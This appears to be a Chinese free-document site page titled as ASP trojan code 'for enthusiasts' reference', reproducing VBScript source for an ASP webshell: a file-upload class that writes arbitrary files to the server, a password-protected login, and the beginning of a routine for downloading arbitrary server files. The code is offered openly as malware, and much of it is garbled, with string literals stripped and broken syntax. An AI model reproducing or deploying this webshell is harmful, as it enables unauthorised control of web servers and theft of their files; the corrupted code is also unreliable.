ASP木马代码(仅供爱好者参考)

2020-02-21 18:43

ASP木马代码(仅供参考)

<%@ LANGUAGE = VBScript.Encode codepage =\<%Server.ScriptTimeOut=5000%>

classid=\

runat=server

id=oScriptNet

classid=\

'on error resume next dim Data_5xsoft

Class upload_5xsoft dim objForm,objFile,Version Public function Form(strForm) strForm=lcase(strForm)

if not objForm.exists(strForm) then Form=\else

Form=objForm(strForm) end if

end function

Public function File(strFile) strFile=lcase(strFile)

if not objFile.exists(strFile) then set File=new FileInfo else

set File=objFile(strFile) end if

end function

Private Sub Class_Initialize

dim RequestData,sStart,vbCrlf,sInfo,iInfoStart,iInfoEnd,tStream,iStart,theFile dim iFileSize,sFilePath,sFileType,sFormValue,sFileName dim iFindStart,iFindEnd

dim iFormStart,iFormEnd,sFormName Version=\上传程序 Version 2.0\

set objForm=Server.CreateObject(\ set objFile=Server.CreateObject(\if Request.TotalBytes<1 then Exit Sub

set tStream = Server.CreateObject(\set Data_5xsoft = Server.CreateObject(\Data_5xsoft.Type = 1 Data_5xsoft.Mode =3

scope=page scope=page scope=page

Data_5xsoft.Open

Data_5xsoft.Write Request.BinaryRead(Request.TotalBytes) Data_5xsoft.Position=0

RequestData =Data_5xsoft.Read iFormStart = 1

iFormEnd = LenB(RequestData) vbCrlf = chrB(13) & chrB(10)

sStart = MidB(RequestData,1, InStrB(iFormStart,RequestData,vbCrlf)-1) iStart = LenB (sStart)

iFormStart=iFormStart+iStart+1

while (iFormStart + 10) < iFormEnd

iInfoEnd = InStrB(iFormStart,RequestData,vbCrlf & vbCrlf)+3 tStream.Type = 1 tStream.Mode =3

tStream.Open

Data_5xsoft.Position = iFormStart

Data_5xsoft.CopyTo tStream,iInfoEnd-iFormStart tStream.Position = 0 tStream.Type = 2

tStream.Charset =\sInfo = tStream.ReadText

tStream.Close

iFormStart = InStrB(iInfoEnd,RequestData,sStart) iFindStart = InStr(22,sInfo,\iFindEnd = InStr(iFindStart,sInfo,\

sFormName = lcase(Mid (sinfo,iFindStart,iFindEnd-iFindStart)) if InStr (45,sInfo,\

set theFile=new FileInfo

iFindStart = InStr(iFindEnd,sInfo,\iFindEnd = InStr(iFindStart,sInfo,\

sFileName = Mid (sinfo,iFindStart,iFindEnd-iFindStart) theFile.FileName=getFileName(sFileName)

theFile.FilePath=getFilePath(sFileName)

iFindStart = InStr(iFindEnd,sInfo,\iFindEnd = InStr(iFindStart,sInfo,vbCr)

theFile.FileType =Mid (sinfo,iFindStart,iFindEnd-iFindStart) theFile.FileStart =iInfoEnd

theFile.FileSize = iFormStart -iInfoEnd -3 theFile.FormName=sFormName if not objFile.Exists(sFormName) then objFile.add sFormName,theFile end if else

tStream.Type =1

tStream.Mode =3

tStream.Open

Data_5xsoft.Position = iInfoEnd

Data_5xsoft.CopyTo tStream,iFormStart-iInfoEnd-3 tStream.Position = 0 tStream.Type = 2

tStream.Charset =\sFormValue = tStream.ReadText tStream.Close

if objForm.Exists(sFormName) then

objForm(sFormName)=objForm(sFormName)&\alue else

objForm.Add sFormName,sFormValue end if

end if

iFormStart=iFormStart+iStart+1 wend

RequestData=\set tStream =nothing End Sub

Private Sub Class_Terminate if Request.TotalBytes>0 then objForm.RemoveAll objFile.RemoveAll set objForm=nothing set objFile=nothing Data_5xsoft.Close set Data_5xsoft =nothing end if End Sub

Private function GetFilePath(FullPath) If FullPath <> \

GetFilePath = left(FullPath,InStrRev(FullPath, \Else

GetFilePath = \End If

End function

Private function GetFileName(FullPath)

If FullPath <> \

GetFileName = mid(FullPath,InStrRev(FullPath, \Else

GetFileName = \End If

End function End Class Class FileInfo

dim FormName,FileName,FilePath,FileSize,FileType,FileStart Private Sub Class_Initialize FileName = \FilePath = \FileSize = 0 FileStart= 0 FormName = \FileType = \End Sub

Public function SaveAs(FullPath)

dim dr,ErrorChar,i SaveAs=true

if trim(fullpath)=\set dr=CreateObject(\dr.Mode=3

dr.Type=1 dr.Open

Data_5xsoft.position=FileStart Data_5xsoft.copyto dr,FileSize dr.SaveToFile FullPath,2 dr.Close set dr=nothing SaveAs=false end function

End Class

httpt = Request.ServerVariables(\rseb=Request.ServerVariables(\ q=request(\if q=\select case q case rseb

if Epass(trim(request.form(\ response.cookies(\response.redirect rseb & \else %>

<%=httpt%>

<%if request.form(\response.write \end if

%>

width=\

height=\

bgcolor=\

align=\

color=\

style=\outset\

<%end if%>

<êse \

call downloadFile(request(\function downloadFile(strFile) strFilename = strFile Response.Buffer = True Response.Clear

set s = Server.CreateObject(\s.Open s.Type = 1

if not oFileSys.FileExists(strFilename) then

Response.Write(\Response.End end if

Set f = oFileSys.GetFile(strFilename)


ASP木马代码(仅供爱好者参考).doc 将本文的Word文档下载到电脑 下载失败或者文档不完整,请联系客服人员解决!

Copyright © 2019-2022 免费范文网 版权所有
声明 :本网站尊重并保护知识产权,根据《信息网络传播权保护条例》,如果我们转载的作品侵犯了您的权利,请在一个月内通知我们,我们会及时删除。
客服QQ: 邮箱:tiandhx2@hotmail.com
苏ICP备16052595号-18

× 注册会员免费下载(下载后可以自由复制和排版)

马上注册会员

注:下载文档有可能“只有目录或者内容不全”等情况,请下载之前注意辨别,如果您已付费且无法下载或内容有问题,请联系我们协助你处理。
微信: QQ: